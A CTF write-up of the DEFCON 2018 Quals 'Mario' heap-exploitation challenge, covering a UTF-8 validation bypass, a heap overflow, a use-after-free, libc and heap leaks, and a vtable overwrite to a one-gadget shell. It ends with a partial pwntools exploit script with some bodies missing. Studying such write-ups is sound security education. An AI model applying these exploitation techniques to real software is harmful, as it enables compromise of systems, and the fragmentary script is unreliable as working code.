CTF writeups Heap Exploitation

DEFCON 2018 Quals: It’s a me, Mario

Although I didn’t have much time to do CTFs as of late, I sat down for part of the DEFCON 2018 Qualifiers with HATS_SG. Among the challenges solved, Mario was a rather peculiar (and somewhat amusing) one that involved multiple heap exploitation techniques along with some tricks to get an exploit working successfully.


We were given a 64-bit ELF with all protections enabled.

$ checksec mario
[*] '/home/uwuntu/dc18/mario/mario'
    Arch:      amd64-64-little
    RELRO:     Full RELRO
    Stack:     Canary found
    NX:        NX enabled
    PIE:       PIE enabled

The executable is a menu-style application that allows us to make our own pizzas:

Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
Choice: N
Hello, what's your name? asdf
>> Welcome asdf
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: O
>> how many pizzas? 2
Ordering pizza #1
>> how many ingredients? 3
Tell me ingridient #1: qwer
Tell me ingridient #2: qwert
Tell me ingridient #3: qwerty
Ordering pizza #2
>> how many ingredients? 2
Tell me ingridient #1: qwer
Tell me ingridient #2: qwert
Order is complete, thanks!
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: C 
Before I start cooking your pizzas, do you have anything to declare? Please explain: hsberdgka
-------- COOKING PIZZA #1 --------
Adding ingredient: qwer
Adding ingredient: qwert
Adding ingredient: qwerty
Cooked new pizza:
BadPizza: qwerqwertqwerty
-------- COOKING PIZZA #2 --------
Adding ingredient: qwer
Adding ingredient: qwert
Cooked new pizza:
BadPizza: qwerqwert
found non-approved pizzas. come on.
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: A
Admire these beauties... (2)
Nothing to admire here, pretty bad stuff...
Nothing to admire here, pretty bad stuff...
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: L
see you asdf
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
Choice: E
Ooookay, ciao!

Initial reversing of the function cook_pizzas() shows that emoji ingredients are allowed as encoded by the UTF-8 strings \xf0\x9f\x8d\x8d, \xf0\x9f\x90\x94\xf0\x9f\x8d\x85, \xf0\x9f\x8d\x8c which gives us 🐔🍅🍌🍍 and even 💩. If we try to order a pizza with 🍍, the application kicks us out.

------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: O
>> how many pizzas? 1
Ordering pizza #1
>> how many ingredients? 1
Tell me ingridient #1: 🍍
You serious? PINEAPPLE? Tu sei un pazzo, get out.

Heap Overflow Vulnerability

When a pizza is cooked, all the ingredients are checked with strstr() and pushed into a std::vector. The explanation is copied into a heap buffer using strcpy():

printf("Before I start cooking your pizzas, do you have anything to declare? Please explain: ");
read_safe((unsigned __int8 *)src, 0x12C);
v1 = strlen(src);
cust->explanation= (char *)malloc(v1 + 1);
strcpy(cust->explanation, src);

Note here that the malloc size depends on the initial explanation given when cooking our pizzas. In addition, when Mario gets angry (triggered when 🍍 is in a cooked pizza), we unlock an explanation menu option where 300 bytes are read into the initially malloc-ed explanation buffer:

printf("last chance, explain yourself: ");
read_safe((unsigned __int8 *)current_customer->explanation, 0x12Cu);
puts("too bad, no explanation is reasonable. BAM BAM BAM!");
current_customer->banned = 1;

This presents a heap overflow vulnerability, when our initial explanation is smaller than the final explanation. Unfortunately the application does not allow 🍍 when entering pizza ingredients so getting to this point would be impossible.

Smuggling in a 🍍

Individual pizza ingredients are checked one by one to see if it is a valid UTF-8 string:

while ( v6 < v7 )
    v2 = a1[v6];
    bit6 = (v2 & 0x40) != 0;
    bit5 = (v2 & 0x20) != 0;
    bit4 = (v2 & 0x10) != 0;
    if ( v2 >> 7 == 1 )
      if ( bit6 && bit5 != 1 )
        if ( a1[v6 + 1] >= 0 )
          return 0LL;
        v6 += 2;
      else if ( bit6 && bit5 && bit4 != 1 )
        if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 )
          return 0LL;
        v6 += 3;
      else if ( bit6 && bit5 && bit4 && ((v2 & 8) != 0) != 1 )
        if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 || a1[v6 + 3] >= 0 )
          return 0LL;
        v6 += 4;
        if ( bit6 == 1 || bit5 == 1 || bit4 == 1 )
          return 0LL;

Since Mario gets angry when a 🍍 is in the concatenated string of all pizza ingredients, it is possible for a 🍍 to slip past the initial UTF-8 string check by making two UTF-8 ingredients that, when concatenated, yields a 🍍 in a sliding UTF-8 character window. One such sequence that satisfies the check is

\xf0\x9f\xf0\x9f, \x8d\x8d

which produces a valid 🍍 when concatenated (\xf0\x9f\x8d\x8d). This allows us to bypass the check at pizza creation and make Mario upset, letting us get to the heap overflow vulnerability.

Use-After-Free Vulnerability

When Mario is upset, the customer is stored as a global variable upset_user and we have a new menu option to print our explanation.

printf("your friend %s ordered a pizza with %s and I should stay calm?\n",
printf("'That must be a mistake', you may say. But I asked, and this is what he had to say: %s\n",
return puts("niente scuse");

The pointer to the explanation is stored in a Customer class which looks something like this:

    char*  name; // 8 bytes
    vector<Pizza>  ordered_pizzas; // 24 bytes
    char*  explanation; // 8 bytes
    vector<Pizza>  cooked_pizzas; // 24 bytes
    char   unk3; // 1 byte
    char   banned; // 1 byte
    char   unk4[6]; // 6 bytes

The total number of ordered pizzas is a byte and the total number of good pizzas is also a byte. If they are equal (that all pizzas are valid), we move ahead to cook the pizzas.

.text:0000000000002E42 loc_2E42:
.text:0000000000002E42        movzx   eax, [rbp+var_9F] ; total pizzas
.text:0000000000002E49        shr     al, 4
.text:0000000000002E4C        mov     edx, eax
.text:0000000000002E4E        movzx   eax, [rbp+var_A0]; good pizzas
.text:0000000000002E55        and     eax, 0Fh
.text:0000000000002E58        cmp     dl, al
.text:0000000000002E5A        jz      short loc_2E6D
.text:0000000000002E5C        lea     rdi, aFoundNonApprov ; "found non-approved pizzas. come on."
.text:0000000000002E63        call    puts
.text:0000000000002E68        jmp     loc_2EF7
.text:0000000000002E6D loc_2E6D:
.text:0000000000002E6D        lea     rdi, aMoltoBeneAllCo ; "Molto bene, all cooked!"
.text:0000000000002E74        call    puts
.text:0000000000002E79        movzx   eax, [rbp+var_9F] ; total pizzas 
.text:0000000000002E80        and     eax, 0Fh
.text:0000000000002E83        test    al, al
.text:0000000000002E85        jnz     short loc_2EF7
.text:0000000000002E87        mov     rax, [rbp+var_B8] ; Cust obj
.text:0000000000002E8E        mov     rax, [rax+20h] ; explanation ptr
.text:0000000000002E92        mov     rdi, rax        ; ptr
.text:0000000000002E95        call    free
.text:0000000000002E9A        jmp     short loc_2EF7

This gives us a use-after-free condition when we order a good pizza and 16 pineapple pizzas, since we trigger the call to free(cust->explanation).

Leaking Addresses

As with exploiting most PIE- and ASLR- enabled binaries, the first step is to leak some useful addresses.

We can leak a heap address by ordering a good pizza and 16 pineapple pizzas, then cook them with a sufficiently large explanation (at least smallbin-sized) so that the explanation chunk is placed in the unsorted bin. The chunk is then freed at the end of the cooking process. We trigger the use-after-free by printing our explanation, which is now in the unsorted bin. It seems that at this point, our freed explanation is the first chunk in the unsorted bin, and there is another free chunk after it. Hence, fd points to the address of the second free chunk in the unsorted bin, and bk points to the address of bins[1], the unsorted bin. upset_user->explanation now points to the start of fd, which gives us our heap address leak since we now know the address of the next chunk.

We can create a new customer, order a new pizza and cook it with a smallbin-sized explanation to take the second chunk off the unsorted bin. This sets fd of our use-after-free chunk to the address of bins[1] which is the address of the unsorted bin in the main arena malloc_state structure. This gives us our libc leak, since the malloc_state structure is located at a fixed offset relative to the libc base.

Final Exploit

We exploit the application vulnerabilities in the following sequence:

  1. Leak a heap address using the use-after-free vulnerability.
  2. Manipulate the unsorted bin layout to update the leaked information.
  3. Leak a libc address using the same use-after-free vulnerability.
  4. Manipulate the heap to allocate a pizza after our explanation.
  5. Perform a vtable overwrite past the explanation to point to a gadget of our choosing.

Steps 1-3 are detailed in earlier paragraphs. As it turns out, there is a win gadget (one-gadget shell) located at libc_base + 0x4526a in the provided libc library, so we are set for step 5.

After toying around for a little bit, ordering a tomato pizza and cooking with a 4-byte explanation gets the heap to where we want it to be. We perform the vtable overwrite by using the heap overflow vulnerability described earlier, where we were given a last chance to explain ourselves. The overflow payload is a combination of

  1. the address of the win gadget
  2. padding to reach the pizza object
  3. a pointer to our address of the win gadget (the first item)

Finally, we trigger our overwritten vtable function by admiring a pizza, which gives us a shell:

------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
Choice: A
 Admire these beauties... (3)

                  |  ~~--.
                  |%[email protected]%%/
               __ |%%o/
         _,--~~ | |(_/ ._
      ,/'  m%%%%| |o/ /  `\.
     /' m%%o(_)%| |/ /o%%m `\
   /' %%@=%o%%%o|   /(_)o%%% `\
  /  %o%%%%%[email protected]%%|  /%%o%%@=%%  \
 |  (_)%(_)%%o%%| /%%%[email protected](_)%%%  |
 | %%o%%%%o%%%(_|/%o%%o%%%%o%%% |
 | %%o%(_)%%%%%o%(_)%%%o%%o%o%% |
 |  (_)%%[email protected]%(_)%o%o%%(_)%o(_)%  |
  \ ~%%o%%%%%o%o%[email protected]%%o%%@%%o%~ /
   \. ~o%%(_)%%%o%(_)%%(_)o~ ,/
     \_ ~o%[email protected]%(_)%o%%(_)%~ _/

[*] Switching to interactive mode

$ ls
$ cat flag

For more information about malloc internals, here’s illustrations of the malloc_state and malloc_chunk structures.

Full exploit:

from pwn import *

p = process("./mario")

emojis = {	'pineapple': 	b"\xf0\x9f\x8d\x8d",
			'tomato': 		b"\xf0\x9f\x8d\x85" }
def cust_new(name):

def cust_login(name):

def cook(explanation=''):
    p.recvuntil("USER MENU")

def order(items):
    p.recvuntil("how many pizzas?")
    for i in range(len(items)):
        p.recvuntil("how many ingredients?")
        for ing in items[i]:
  "pizza " + str(i+1) + ": adding " + str(ing))

def admire():

def cust_logout():

def overflow(payload):
    p.recvuntil("explain yourself:")
def why_upset():
    p.recvuntil("say: ")
    output = p.recvline()[:-1]
    return repr(output)

prog = log.progress('leaking unsorted bin in main arena')

good_pizza = [emojis['tomato']]
naughty_pizza = [emojis['tomato'] + emojis['pineapple'][:2] + emojis['pineapple'][:2],
				emojis['pineapple'][2:] + emojis['tomato']]
payload = []
for _ in range(16):

heap_addr = u64(why_upset().decode('string_escape')[1:].ljust(8, b'\x00'))


prog = log.progress('leaking libc base')


libc_leak = u64(why_upset()[1:-1].decode('string_escape').ljust(8, b'\x00'))
libc_base = libc_leak - 0x3c4b78

win_addr = libc_base + 0x4526a

prog = log.progress('overwriting vtable with win gadget')

win_heap_addr = heap_addr - 3984

overflow(p64(win_addr)*2 + "X"*144 + p64(win_heap_addr)*2)
prog.success("overwritten.")"Jumping to gadget...")

Leave a Reply

Your email address will not be published. Required fields are marked *